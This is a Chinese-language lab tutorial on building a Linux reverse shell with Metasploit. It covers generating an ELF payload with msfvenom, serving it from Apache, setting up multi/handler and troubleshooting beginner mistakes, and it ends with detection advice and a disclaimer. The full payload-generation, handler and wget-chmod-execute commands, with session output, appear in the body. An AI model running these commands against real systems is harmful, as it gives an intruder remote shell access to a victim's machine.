Metasploit 构建 Linux 反向 Shell 的完整过程解

发布时间:2026/7/27 2:27:45

Metasploit 构建 Linux 反向 Shell 的完整过程解 中华人民共和国网络安全法任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具:明知他人从事危害网络安全的活动的不得为其提供技术支持、广告推广、支付结算等帮助。️实战指南基于 Metasploit 构建 Linux 反向 Shell 的完整过程解析含详细排错记录摘要本文完整记录了一次在 Kali Linux 环境下利用 Metasploit Framework 生成 Linux x64 反向 Shell 载荷并通过 Apache 服务器进行投递的实战过程。文章不仅涵盖了标准的攻击流程更真实还原了新手常遇到的路径迷失、命令拼写错误及参数配置陷阱并详细演示了如何利用find命令和系统提示进行故障排查。适用人群网络安全初学者、渗透测试爱好者、Linux 运维人员。实验时间2026-03-20 实验环境概览角色操作系统IP 地址关键工具攻击机Kali Linux 2026192.168.22.128Metasploit (v6.4.99), Apache2目标机Ubuntu/CentOS192.168.22.146Bash, Wget载荷类型ELF Binary-linux/x64/shell/reverse_tcp通信端口TCP 9999-- 第一阶段载荷生成 (Payload Generation)1. 启动 Metasploit首先切换至 root 用户以获取必要权限并启动控制台。kalikali:~$ sudo su rootkali:/home/kali# msfconsole⚠️ 注意命令是msfconsole直接输入msf会报错“找不到命令”。2. 生成木马文件在msf提示符下直接调用msfvenom生成一个名为shell.elf的可执行文件。msf msfvenom -p linux/x64/shell/reverse_tcp LHOST192.168.22.128 LPORT9999 -f elf -o shell.elf输出解析[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload Payload size: 130 bytes Final size of elf file: 250 bytes Saved as: shell.elf✅结果成功生成 250 字节的 ELF 文件。此时文件位于当前目录通常是/home/kali或启动 msfconsole 的目录。️ 第二阶段故障排查与文件部署 (Troubleshooting Deployment)这是本次实战中最具教育意义的部分。我们需要将生成的shell.elf移动到 Web 服务器目录/var/www/html以便目标机下载。然而过程并非一帆风顺。❌ 陷阱 1相对路径 vs 绝对路径尝试移动文件时因路径写法错误导致失败rootkali:/home/kali# mv shell.elf var/www/html mv: 无法将 shell.elf 移动至 var/www/html: 没有那个文件或目录原因分析var/www/html是相对路径系统会在当前目录/home/kali下寻找var文件夹显然不存在。应使用绝对路径/var/www/html。❌ 陷阱 2切换目录后的“文件失踪”切换到根目录/后再次尝试移动依然报错rootkali:/home/kali# cd / rootkali:/# mv shell.elf /var/www/html mv: 对 shell.elf 调用 stat 失败: 没有那个文件或目录原因分析shell.elf实际上还在/home/kali目录下。当你cd /后当前目录下并没有这个文件而命令中也没有指定它的完整路径。❌ 陷阱 3命令拼写错误在尝试启动 Apache 服务时出现了典型的拼写失误rootkali:/# serveice apache2 start 找不到命令 “serveice”您的意思是 “service” 命令来自 Debian 软件包 init-system-helpers rootkali:/# rveice apache2 start rveice未找到命令 技巧Linux 的报错信息非常智能它会提示你正确的命令是service。切勿将报错提示文字直接当作命令复制运行。✅ 正确操作rootkali:/# service apache2 start # 服务成功启动无输出表示正常。 终极解决方案使用find全局定位既然不知道文件具体在哪那就让系统帮我们找使用find命令结合-exec直接移动文件。rootkali:/# find / -name shell.elf -exec mv {} /var/www/html/ \; 2/dev/null命令拆解find /从根目录开始全盘搜索。-name shell.elf查找匹配该文件名的项。-exec mv {} /var/www/html/ \;找到后{}代表文件名立即执行移动操作到 Web 目录。2/dev/null忽略因权限不足产生的报错信息保持界面整洁。验证结果rootkali:/# ls -l /var/www/html/shell.elf -rw-r--r-- 1 root root 250 3月19日 16:36 /var/www/html/shell.elf成功文件已就位可通过http://192.168.22.128/shell.elf访问。 第三阶段监听与捕获 (Listening Catching)1. 配置监听器回到msfconsole或新开一个配置multi/handler。msf use exploit/multi/handler msf exploit(multi/handler) set payload linux/x64/shell/reverse_tcp msf exploit(multi/handler) set lhost 192.168.22.128 msf exploit(multi/handler) set lport 9999⚠️ 关键细节参数必须大写 (LPORT)。之前实验中曾误输为lprot导致监听端口未生效默认回了 4444务必仔细检查。2. 启动监听msf exploit(multi/handler) run [*] Started reverse TCP handler on 192.168.22.128:99993. 目标机执行 (模拟)在目标机 (192.168.22.146) 上执行wget http://192.168.22.128/shell.elf chmod x shell.elf ./shell.elf4. 成功获取 Shell攻击机终端瞬间弹出会话[*] Sending stage (38 bytes) to 192.168.22.146 [*] Command shell session 1 opened (192.168.22.128:9999 - 192.168.22.146:40888)验证控制权ls ad shell.elf snap 下载 公共 图片 文档 桌面 模板 视频 音乐看到中文目录和shell.elf文件确认已成功控制目标主机。 核心经验总结 (Key Takeaways)通过本次充满“波折”的实战我们总结了以下三条铁律路径意识操作非当前目录文件时永远优先使用绝对路径以/开头。不确定文件位置时find命令比盲目cd更高效。大小写敏感Metasploit 的参数LHOST,LPORT必须全大写。Linux 命令service,mv拼写必须完全准确。善用Tab键自动补全可避免 90% 的拼写错误。读懂报错当系统提示Did you mean...时它在教你正确的命令。当提示No such file or directory时先检查当前在哪里(pwd)再检查文件在哪里(find)。️ 防御视角如何检测此类攻击对于系统管理员以下迹象可能表明服务器正在遭受类似攻击异常进程出现名为shell.elf或其他随机命名的可疑进程且父进程通常为apache2或www-data用户。异常网络连接服务器主动向外网或非业务内网 IP 的非常用端口如 9999发起连接。Web 目录异动/var/www/html目录下突然出现未知的可执行文件。日志审计检查 Apache 访问日志看是否有异常的GET /shell.elf请求记录。声明本文内容仅供网络安全学习与研究使用。未经授权对他人系统进行渗透测试是违法行为。请严格遵守当地法律法规。

相关新闻